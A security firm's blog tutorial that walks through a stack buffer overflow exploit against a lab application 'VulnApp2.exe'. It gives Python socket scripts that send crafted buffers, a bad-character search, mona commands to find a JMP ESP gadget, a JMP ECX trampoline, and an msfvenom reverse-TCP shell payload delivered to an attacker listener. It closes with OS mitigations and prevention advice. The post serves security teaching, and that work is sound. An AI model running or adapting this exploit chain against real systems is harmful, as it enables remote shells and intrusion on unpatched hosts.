Resource / Blogs /

Buffer Overflow: Attack, Types and Vulnerabilities Explained

By
Chaithanya
January 27, 2023
Get Tested
Device, firmware and APIs scoped as one system.
Talk to an Expert
White arrow pointing diagonally upward to the right on a black square background.White arrow pointing diagonally upward to the right on a black square background.

‍

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  buffer = “A” * 2080 + “B”*4 + “C” * 20 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

Step 4: Finding the Bad Characters.

There are a total of 255 bad characters and we have only 12 bytes of memory left in the buffer to test for the bad characters i.e., limited space left for bad characters.

In this case, we need to place 26 bad characters each time in the below code till all the bad characters are tested i.e., from \x00 to \xff

NOTE: If we increase our shellcode to more than 2100 bytes, the application will behave strangely and we won’t be able to control the value at EIP. So, in this case, we need to use the available 12 bytes and test for bad characters.

#!/usr/bin/python 

import socket 

try: 

  print “\nSending evil buffer…” 

  badchar1 = “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c” 

  badchar2 = “\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18” 

  badchar3 = “\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24” 

  badchar4 = “\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30” 

  badchar5 = “\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c” 

  badchar6 = “\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48” 

  badchar7 = “\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54” 

  badchar8 = “\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60” 

  badchar9 = “\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c” 

  badchar10 = “\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78” 

  badchar11 = “\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84” 

  badchar12 = “\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90” 

  badchar13 = “\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c” 

  badchar14 = “\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8” 

  badchar15 = “\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4” 

  badchar16 = “\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0” 

  badchar17 = “\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc” 

  badchar18 = “\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8” 

  badchar19 = “\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4” 

  badchar20 = “\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0” 

  badchar21 = “\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc” 

  badchar22 = “\xfd\xfe\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  badchar23 = “\x3C\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  eip = “\x3d\x11\x80\x14” 

  jmpecx = “\xFF\xE1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 

  buffer = “A” * 2080 + eip + badchar23 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 

  s.connect((“192.168.0.125”, 7002)) 

  s.send(buffer) 

  s.close() 

  print “\nDone!” 

except: 

  print “\nCould not connect!” 

After running the above code 22 times we got bad characters as

3B, 3C, 45, 46,47,48

We need to place each character again and cross-check whether it is a bad character or not because whenever a bad character is encountered, there is a high chance that the following characters will be replaced.

For example, if 2A is a bad character, then the following character i.e. 2B too will be replaced or missed. In this case, we need to test each of them individually by passing one character at a time.

Again, after testing the above bad characters we could conclude that following are the bad characters.

Bad Characters = \x00 \x3B \x45

Step 5: Finding the Right Module.

In this step, we will try to find a .dll module of the application, which has JMP ESP instruction in it using the mona modules available in the immunity debugger.

Use the below command, to list the available module.

>> !mona modules

There’s one module highlighted in the above image, which has all protections set to “False”. We will use this and find if there is any instruction called ‘JMP ESP’ in it and make a note of the returned address.

First, we need to find the assembly language value for JMP ESP instruction using /usr/bin/msf-nasm_shell  

So, JMP ESP is \xFF\xE4 in assembly language

Use the below command to find the above instruction in the module found.

!mona find -s “\xFF\xe4” -m “VulnApp2.exe”

We got the following address: 1480113D

The following address will be passed in EIP: \x3D\x11\x80\x14

Eip = “\x3D\x11\x80\x14”

Once we have found the module, we need to create a shellcode using msfvenom but we have the following hurdle in creating the shellcode.

Condition at a place: Limited space i.e. 12 bytes left for the shellcode.

We would require a minimum of 1500 bytes of space to write our shellcode, but we have only 12 bytes left and cannot increase the buffer length.

To overcome the issue, we will follow the below steps

  1. first place the address of ESP in the EIP register  

EIP ß JMP ESP

  1. once the control reaches ESP, we will again make a jump to the ECX register where our buffer i.e. A’s are written.  

ESP ß JMP ECX

Here, after 4 bytes are used for EIP we will be left with 12 bytes for JMP ECX instruction.

2 bytes rea used for “\xFF\xE1 and 10 nops for proper padding.

The final jmpecx variable looks like this.

Jmpecx =  “\xFF\xE1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

Step 6: Generating the Shellcode

Use the below command to create the shellcode.  

NOTE: Make sure to replace the IP and port of the attacker machine.

>> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.106 LPORT=1337 -f c -a x86 -b “\x00\x3B\x45”

Step 7: Delivering the Shellcode.

Use the below code, where we have placed the above-generated shellcode in it.

#!/usr/bin/python
import socket

try:

  print “\nSending evil buffer…” 
  shell = (” << shellcode >>”) 
  eip = “\x3d\x11\x80\x14” 
  jmpecx = “\xff\xe1\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” 
 
  buffer = shell + “A” * (2080 – len(shell)) + eip + jmpecx 
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((“192.168.0.125”, 7002)) 
  s.send(buffer) 
  s.close() 
  print “\nDone!” 
 
except: 
  print “\nCould not connect!”

Start the listener, on port 1337(as per the msfvenom command) and run the above code. We will receive a reverse shell on our listener.

Modern OS protections for the attack

In addition, modern operating systems have runtime protection. Three common protections are:

  • Address space randomization (ASLR)—randomly moves around the address space locations of data regions. Typically, buffer overflow attacks need to know the locality of executable code, and randomizing address spaces makes this virtually impossible.
  • Data execution prevention—flags certain areas of memory as non-executable or executable, which stops an attack from running code in a non-executable region.
  • Structured exception handler overwrites protection (SEHOP)—helps stop malicious code from attacking Structured Exception Handling (SEH), a built-in system for managing hardware and software exceptions. It thus prevents an attacker from being able to make use of the SEH overwrite exploitation technique. At a functional level, an SEH overwrite is achieved using a stack-based buffer overflow to overwrite an exception registration record, stored on a thread’s stack.

How to Prevent Buffer Overflow Attacks

There are several ways to prevent buffer overflow attacks from happening, including the following:

  1. Keep devices patched. Vendors issue software patches and updates to fix buffer overflow vulnerabilities that have been discovered. There is still a period of risk between the vulnerability being discovered and the patch being created and deployed.
  1. Follow the principle of least privilege (POLP). Users and applications should only be given the permissions they need to do their jobs or perform the tasks they are assigned. When possible, only grant temporary privileges to users and applications, and drop them once the task has been completed.
  1. Use memory-safe programming languages. The most common reason why buffer overflow attacks work is because applications fail to manage memory allocations and validate input from the client or other processes. Applications developed in C or C++ should avoid dangerous standard library functions that are not bounds-checked, such as gets, scanf, and strcpy. Instead, they should use libraries or classes that were designed to securely perform string and other memory operations. Better still, use a programming language that reduces the chances of a buffer overflow, such as Java, Python, or C#.
  1. Validate data. Mobile and web applications developed in-house should always validate any user input and data from untrusted sources to ensure they are within the bounds of what is expected and to prevent overly long input values

‍

Get Tested
Device, firmware and APIs scoped as one system.
Talk to an Expert
White arrow pointing diagonally upward to the right on a black square background.White arrow pointing diagonally upward to the right on a black square background.

Keep Reading

For Security Leaders
Agentic AI Security: The Hidden Attack Surface Beyond Prompt Injection
August 25, 2026
10 min
For Security Leaders
Research & disclosures
Binwalk Path Traversal Vulnerability: Turning Firmware Analysis into Code Execution
August 26, 2026
8 min
Guides & tutorials
For Security Leaders
An Introduction to Smali
August 26, 2026
8 min
Dark scene with vertical thin orange lines resembling distant illuminated bars or streaks against a black background and a faint horizontal red glow near the bottom.